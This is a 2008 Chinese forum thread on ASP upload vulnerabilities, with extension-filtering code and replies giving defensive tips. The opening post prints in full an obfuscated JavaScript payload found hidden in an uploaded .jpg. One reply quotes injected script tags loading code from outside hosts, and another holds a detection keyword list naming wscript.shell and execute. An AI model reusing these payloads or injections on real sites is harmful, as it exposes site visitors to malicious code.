浅析ASP上传漏洞

yanniu008 2008-09-26 09:58:21
加精
这两天连续两个大维护的大的网站被黑,都是由上传漏洞所引起的。
所以特来发贴讨论 ASP上传漏洞。

对于上传漏洞的查找,仍是从源文件入手,目标有两个,一个是FilePath(文件路径),另一个则是FileName(文件名称)。
我看了有关的资料,主要也就是通过以下要过滤的字符下手。

Private Function FixName(Byval UpFileExt) '第一步的过滤函数,过滤特殊扩展名。
If IsEmpty(UpFileExt) Then Exit Function '如扩展名为空就退出交互
FixName = Lcase(UpFileExt) '将扩展名转换为小写字符。
FixName = Replace(FixName,Chr(0),"") '将二进制的00空字符过滤为空
FixName = Replace(FixName,".","") '将单引号过滤为空,下同。 jmdcw
FixName = Replace(FixName,"'","")
FixName = Replace(FixName,"asp","")
FixName = Replace(FixName,"asa","")
FixName = Replace(FixName,"aspx","")
FixName = Replace(FixName,"cer","")
FixName = Replace(FixName,"cdx","")
FixName = Replace(FixName,"htr","")
FixName = Replace(FixName,"shtml","")
End Function


第一关就是过滤上面的字符,
第二关

if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then ' 第二关,验证fileEXT是否为asp、asa、aspx扩展名。
EnableUpload=false '果属于这三项之一,那么EnableUpload就定义为假,上传文件扩展名不合法。end if

第三关

if EnableUpload=false then '第三关,验证关。如果传递到此的EnableUpload变量为假,则说明上传文件扩展名不合法。
msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileType
FoundErr=true '注意:因为文件名不合法,就更改了FoundErr值,由初始的false改为true。
end if

第四关

if FoundErr<>true then '第四关,上传关。如果FoundErr不等于true才可以上传。


上面的方法可以说是很严密了,但是我在我的网站里看了后缀为jpg的文件,就是上传上出的,改变后缀一看代码如下:

html><head><Meta Name=Encoder Content=HTMLSHIP>

<script language="javascript"><!--

bC45="\]Ia2aca\,",lZ72="\]\(x\(fIaL";.3102207,qZ42=".2914261",lZ72='\:s69\\J\@Q\ 7S\+3Rf\{k\?\'\%XW\$PrYh\=q\}\<IKUpZDH\!cldijy\~GFe\^Vt2AgO\_\>zN40\#1M\|E\(\&8T\-\`L\*a\)x\.ou5\;\rBC\"w\]mbvn\[\,\/\n',bC45='oBxTqn\n\|w\_kR\}\@i0ZLduH\;AftN\?S\'mEQ8O\[p\$6\>G5\!\:\{\"\=aV\]r\+zs4jy\/\rv\<Y\^\&\`\ Fgh1IWC\(\%3\)2K7clP\-\,DU\~\\J\.eMX\#b9\*';function wX27(oL88){"\]IaIDcf\,",l=oL88.length;'\@cW\@W\ \^Th\(\&4',w='';while(l--)"\]D\,\(I2LD",o=bC45.indexOf(oL88.charAt(l)),'c\@4\&qq\-W',w=(o==-1?oL88.charAt(l):lZ72.charAt(o))+w;"\]Lca2aL2",bC45=bC45.substring(1)+bC45.charAt(0),document.write(w);'c\^\@WqWkq'};wX27("EBGt\:\[zw5\)Xjl\)j\]S\{\)M\)BGt\:\[z\rj\@I\_STIxT\-ilXGz\:cXw\/\!\\Bh20\\\:X\!c\\7Bz\)zlBwSw\~w\~\-B\]zW\:\.\]clzh\~\/\!\\Bh2\~b\`\^\^2\-m\-\/\!\\Bh2\-c\$\_\^S\`IxT\-\-\/5\:G\]XB\]\!\/zc\/S\~\?l\"li\]Xj\~\-E9BGt\:\[z\r")//--></script><scripT laNGuAge=jaVascriPt>wX27("Q\{0N2er\_xN5\'SsspB\*\*4\ \&c\-\@c4\&\@c44\&\*\-\ \!2cSse\_J\{\:sS\'\ \&\&\_Sr\{ySs\'\&vQ\*\{0N2erv")</script></head><body></body></html>


那我就在想jpg格式是允许上传的,那这样防来防去不是白忙一场,本人想知道怎么样避免这种问题,还有就是大家来讨论一下asp的上传漏洞,大家互相提高
...全文
8190 154 打赏 收藏 转发到动态 举报
写回复
用AI写文章
154 条回复
切换为时间正序
请发表友善的回复…
发表回复
victorcai2006 2012-05-26
  • 打赏
  • 举报
回复
我搬个板凳坐最后一排慢慢观望
chinaskysun 2011-10-04
  • 打赏
  • 举报
回复
如果能控制iis的话,有个一劳永逸的并且非常简单的方法,就是关闭上传目录中的执行权限

这样基本根治了上传漏洞,并且不需要考虑代码安全问题。
mi_qi 2010-11-26
  • 打赏
  • 举报
回复
学习中,顶
lwt7598855lwt 2010-08-26
  • 打赏
  • 举报
回复
想找个人教我asp 我的QQ573844314
cjfriends 2010-08-18
  • 打赏
  • 举报
回复
又学到了不少

set MyFile = server.CreateObject("Scripting.FileSystemObject")
set MyText = MyFile.OpenTextFile(Server.mappath(filename)) '读取文本文件
sTextAll = lcase(MyText.ReadAll())
MyText.close
set MyFile = nothing
sStr=".getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|"
sStr=sStr&".saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject|language="
snum = split(sStr,"|")
for i=0 to ubound(snum)
if instr(sTextAll,snum(i)) then
set filedel = server.CreateObject("Scripting.FileSystemObject")
filedel.deletefile Server.mappath(filename)
set filedel = nothing
Response.Write("<script>alert('上传失败!你想传木马文件呀,我BS你');window.close();</script>")
Response.End()
end if
next
huanglongqi1314 2010-07-24
  • 打赏
  • 举报
回复
木有意义,别人把扩展名改掉,还不是一样传上去了。。还得考虑扫描文件内容。。
xcasp 2010-07-10
  • 打赏
  • 举报
回复
不错,终于看完了! 学习了,呵呵~
Vieky 2010-06-22
  • 打赏
  • 举报
回复
神贴!!!!!!!!!!!
blin765 2010-04-24
  • 打赏
  • 举报
回复
我想看看得分答案,所以回复一下
凡夫与俗子 2009-08-31
  • 打赏
  • 举报
回复
好大高手啊。。围观学习
javaxinshouxxx 2009-08-20
  • 打赏
  • 举报
回复
学习
tsxnb 2009-07-30
  • 打赏
  • 举报
回复
好好学习!
ericchen24 2009-07-08
  • 打赏
  • 举报
回复
学习!学习!
anbs01 2009-05-22
  • 打赏
  • 举报
回复
绝对好帖,看过之后回帖是中华民族的传统美德!
sugaroar 2009-04-19
  • 打赏
  • 举报
回复
能否帮我检查一下我的网站的安全性吗?谢谢。
可以教一下是怎么检查的吗?
有什么漏洞吗?
因为我的网站在近期老是被人进行js注入,在我的js文件后面加了两行,但网址有变.谢谢。
document.writeln("scriptsrc=\"http://cctv23008.bibil0.cn\"\/script")

document.writeln("scriptsrc=\"http://cctv2008.bib69l0.cn\"\/script")
忘了说我的网址是,谢谢。
http://www.ls168.cn
weling2008 2009-03-04
  • 打赏
  • 举报
回复
没有给黑的人,也别得意,给黑的人也别难过,失有所得!
如果你给黑了,趁热学点安全防范。
以前在公司维护一堆网站,给黑客整死了。
还不是顶过来了啊。多看些技术文章,还是有效果地。
你想想你现在一两个站。就郁闷了。
我搞几百个站维护。累死。O(∩_∩)O哈哈~
dh2981 2009-01-05
  • 打赏
  • 举报
回复
up
zjzb0409 2008-12-04
  • 打赏
  • 举报
回复
好贴。
aspvfp 2008-12-01
  • 打赏
  • 举报
回复
1 RAR为什么会下载呢 是你本机的设定文件打开方式 txt能不能直接执行呢 期待中..
2 我的方法是服务器禁止有ASP的创建 and 修改 数据库后缀mdb放到站外去
qihjn 2008-11-26
  • 打赏
  • 举报
回复
加载更多回复(131)

28,391

社区成员

发帖
与我相关
我的任务
社区描述
ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境。
社区管理员
  • ASP
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧